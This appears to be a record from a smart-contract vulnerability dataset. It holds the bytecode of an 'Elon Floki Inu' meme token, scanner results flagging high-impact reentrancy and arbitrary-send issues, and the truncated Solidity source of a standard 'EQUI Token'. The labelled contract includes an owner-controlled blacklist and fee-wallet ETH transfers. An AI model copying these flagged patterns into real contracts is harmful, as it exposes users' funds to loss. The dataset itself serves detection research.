b9190612ea9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a23565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ab6565b6110b7565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061295c565b611200565b6040516104189190613066565b60405180910390f35b60606040518060400160405280601381526020017f456c6f6e20466c6f6b6920496e7520f09f90b600000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461145a565b61055b846104a6611287565b6105568560405180606001604052806028815260200161379f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b61128f565b600190509392505050565b61056e611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fa6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fa6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611287565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c7d565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d78565b9050919050565b6107dc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fa6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f456c6f6e466c6f6b6920f09f9095000000000000000000000000000000000000815250905090565b60006109a161099a611287565b848461145a565b6001905092915050565b6109b3611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fa6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef9061337c565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611de6565b50565b610b7d611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fa6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613026565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612933565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612933565b6040518363ffffffff1660e01b8152600401610e1f929190612df6565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612933565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e48565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612adf565b5050506001600f60166101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611061929190612e1f565b602060405180830381600087803b15801561107b57600080fd5b505af115801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a8d565b5050565b6110bf611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114390612fa6565b60405180910390fd5b6000811161118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612f66565b60405180910390fd5b6111be60646111b083683635c9adc5dea000006120e090919063ffffffff16565b61215b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f59190613066565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690613006565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612f26565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190613066565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612ee6565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612fc6565b60405180910390fd5b611585610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f357506115c3610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5657600f60179054906101000a900460ff1615611826573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117295750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176f611287565b73ffffffffffffffffffffffffffffffffffffffff1614806117e55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cd611287565b73ffffffffffffffffffffffffffffffffffffffff16145b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613046565b60405180910390fd5b5b5b60105481111561183557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611a9c5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b600f42611a58919061319c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa730610783565b9050600f60159054906101000a900460ff16158015611b145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2c5750600f60169054906101000a900460ff165b15611b5457611b3a81611de6565b60004790506000811115611b5257611b5147611c7d565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0757600090505b611c13848484846121a5565b50505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c589190612ec4565b60405180910390fd5b5060008385611c70919061327d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ccd60028461215b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf8573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4960028461215b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d74573d6000803e3d6000fd5b5050565b6000600654821115611dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db690612f06565b60405180910390fd5b6000611dc96121d2565b9050611dde818461215b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e44577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e725781602001602082028036833780820191505090505b5090503081600081518110611eb0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5257600080fd5b505afa158015611f66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f8a9190612933565b81600181518110611fc4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208f959493929190613081565b600060405180830381600087803b1580156120a957600080fd5b505af11580156120bd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f35760009050612155565b600082846121019190613223565b905082848261211091906131f2565b14612150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214790612f86565b60405180910390fd5b809150505b92915050565b600061219d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fd565b905092915050565b806121b3576121b2612260565b5b6121be848484612291565b806121cc576121cb61245c565b5b50505050565b60008060006121df61246e565b915091506121f6818361215b90919063ffffffff16565b9250505090565b60008083118290612244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223b9190612ec4565b60405180910390fd5b506000838561225391906131f2565b9050809150509392505050565b600060085414801561227457506000600954145b1561227e5761228f565b600060088190555060006009819055505b565b6000806000806000806122a3876124d0565b95509550955095509550955061230186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e2816125e0565b6123ec848361269d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124499190613066565b60405180910390a3505050505050505050565b60026008819055506012600981905550565b600080600060065490506000683635c9adc5dea0000090506124a4683635c9adc5dea0000060065461215b90919063ffffffff16565b8210156124c357600654683635c9adc5dea000009350935050506124cc565b81819350935050505b9091565b60008060008060008060008060006124ed8a6008546009546126d7565b92509250925060006124fd6121d2565b905060008060006125108e87878761276d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b6000808284612591919061319c565b9050838110156125d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cd90612f46565b60405180910390fd5b8091505092915050565b60006125ea6121d2565b9050600061260182846120e090919063ffffffff16565b905061265581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b28260065461253890919063ffffffff16565b6006819055506126cd8160075461258290919063ffffffff16565b6007819055505050565b60008060008061270360646126f5888a6120e090919063ffffffff16565b61215b90919063ffffffff16565b9050600061272d606461271f888b6120e090919063ffffffff16565b61215b90919063ffffffff16565b9050600061275682612748858c61253890919063ffffffff16565b61253890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278685896120e090919063ffffffff16565b9050600061279d86896120e090919063ffffffff16565b905060006127b487896120e090919063ffffffff16565b905060006127dd826127cf858761253890919063ffffffff16565b61253890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128096128048461311b565b6130f6565b9050808382526020820190508285602086028201111561282857600080fd5b60005b85811015612858578161283e8882612862565b84526020840193506020830192505060018101905061282b565b5050509392505050565b60008135905061287181613759565b92915050565b60008151905061288681613759565b92915050565b600082601f83011261289d57600080fd5b81356128ad8482602086016127f6565b91505092915050565b6000813590506128c581613770565b92915050565b6000815190506128da81613770565b92915050565b6000813590506128ef81613787565b92915050565b60008151905061290481613787565b92915050565b60006020828403121561291c57600080fd5b600061292a84828501612862565b91505092915050565b60006020828403121561294557600080fd5b600061295384828501612877565b91505092915050565b6000806040838503121561296f57600080fd5b600061297d85828601612862565b925050602061298e85828601612862565b9150509250929050565b6000806000606084860312156129ad57600080fd5b60006129bb86828701612862565b93505060206129cc86828701612862565b92505060406129dd868287016128e0565b9150509250925092565b600080604083850312156129fa57600080fd5b6000612a0885828601612862565b9250506020612a19858286016128e0565b9150509250929050565b600060208284031215612a3557600080fd5b600082013567ffffffffffffffff811115612a4f57600080fd5b612a5b8482850161288c565b91505092915050565b600060208284031215612a7657600080fd5b6000612a84848285016128b6565b91505092915050565b600060208284031215612a9f57600080fd5b6000612aad848285016128cb565b91505092915050565b600060208284031215612ac857600080fd5b6000612ad6848285016128e0565b91505092915050565b600080600060608486031215612af457600080fd5b6000612b02868287016128f5565b9350506020612b13868287016128f5565b9250506040612b24868287016128f5565b9150509250925092565b6000612b3a8383612b46565b60208301905092915050565b612b4f816132b1565b82525050565b612b5e816132b1565b82525050565b6000612b6f82613157565b612b79818561317a565b9350612b8483613147565b8060005b83811015612bb5578151612b9c8882612b2e565b9750612ba78361316d565b925050600181019050612b88565b5085935050505092915050565b612bcb816132c3565b82525050565b612bda81613306565b82525050565b6000612beb82613162565b612bf5818561318b565b9350612c05818560208601613318565b612c0e81613452565b840191505092915050565b6000612c2660238361318b565b9150612c3182613463565b604082019050919050565b6000612c49602a8361318b565b9150612c54826134b2565b604082019050919050565b6000612c6c60228361318b565b9150612c7782613501565b604082019050919050565b6000612c8f601b8361318b565b9150612c9a82613550565b602082019050919050565b6000612cb2601d8361318b565b9150612cbd82613579565b602082019050919050565b6000612cd560218361318b565b9150612ce0826135a2565b604082019050919050565b6000612cf860208361318b565b9150612d03826135f1565b602082019050919050565b6000612d1b60298361318b565b9150612d268261361a565b604082019050919050565b6000612d3e60258361318b565b9150612d4982613669565b604082019050919050565b6000612d6160248361318b565b9150612d6c826136b8565b604082019050919050565b6000612d8460178361318b565b9150612d8f82613707565b602082019050919050565b6000612da760118361318b565b9150612db282613730565b602082019050919050565b612dc6816132ef565b82525050565b612dd5816132f9565b82525050565b6000602082019050612df06000830184612b55565b92915050565b6000604082019050612e0b6000830185612b55565b612e186020830184612b55565b9392505050565b6000604082019050612e346000830185612b55565b612e416020830184612dbd565b9392505050565b600060c082019050612e5d6000830189612b55565b612e6a6020830188612dbd565b612e776040830187612bd1565b612e846060830186612bd1565b612e916080830185612b55565b612e9e60a0830184612dbd565b979650505050505050565b6000602082019050612ebe6000830184612bc2565b92915050565b60006020820190508181036000830152612ede8184612be0565b905092915050565b60006020820190508181036000830152612eff81612c19565b9050919050565b60006020820190508181036000830152612f1f81612c3c565b9050919050565b60006020820190508181036000830152612f3f81612c5f565b9050919050565b60006020820190508181036000830152612f5f81612c82565b9050919050565b60006020820190508181036000830152612f7f81612ca5565b9050919050565b60006020820190508181036000830152612f9f81612cc8565b9050919050565b60006020820190508181036000830152612fbf81612ceb565b9050919050565b60006020820190508181036000830152612fdf81612d0e565b9050919050565b60006020820190508181036000830152612fff81612d31565b9050919050565b6000602082019050818103600083015261301f81612d54565b9050919050565b6000602082019050818103600083015261303f81612d77565b9050919050565b6000602082019050818103600083015261305f81612d9a565b9050919050565b600060208201905061307b6000830184612dbd565b92915050565b600060a0820190506130966000830188612dbd565b6130a36020830187612bd1565b81810360408301526130b58186612b64565b90506130c46060830185612b55565b6130d16080830184612dbd565b9695505050505050565b60006020820190506130f06000830184612dcc565b92915050565b6000613100613111565b905061310c828261334b565b919050565b6000604051905090565b600067ffffffffffffffff82111561313657613135613423565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a7826132ef565b91506131b2836132ef565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e7576131e66133c5565b5b828201905092915050565b60006131fd826132ef565b9150613208836132ef565b925082613218576132176133f4565b5b828204905092915050565b600061322e826132ef565b9150613239836132ef565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613272576132716133c5565b5b828202905092915050565b6000613288826132ef565b9150613293836132ef565b9250828210156132a6576132a56133c5565b5b828203905092915050565b60006132bc826132cf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613311826132ef565b9050919050565b60005b8381101561333657808201518184015260208101905061331b565b83811115613345576000848401525b50505050565b61335482613452565b810181811067ffffffffffffffff8211171561337357613372613423565b5b80604052505050565b6000613387826132ef565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133ba576133b96133c5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613762816132b1565b811461376d57600080fd5b50565b613779816132c3565b811461378457600080fd5b50565b613790816132ef565b811461379b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e6eb972b4c95a25d6ffefc000d76f6adf4dd291cf143c350e7204028eff0336464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
262
0xe6ff2834b6cf56dc23282a5444b297faccca1b28
pragma solidity ^0.4.22; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title EQUIToken * @dev A standard ERC20 Token contract, where all tokens are pre-assigned to the creator. */ contract EQUIToken is StandardToken { string public constant name = "EQUI Token"; // solium-disable-line uppercase string public constant symbol = "EQUI"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 private constant INITIAL_SUPPLY = 250000000 ether; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[0x4AA48F9cF25eB7d2c425780653c321cfaC458FA4] = INITIAL_SUPPLY; emit 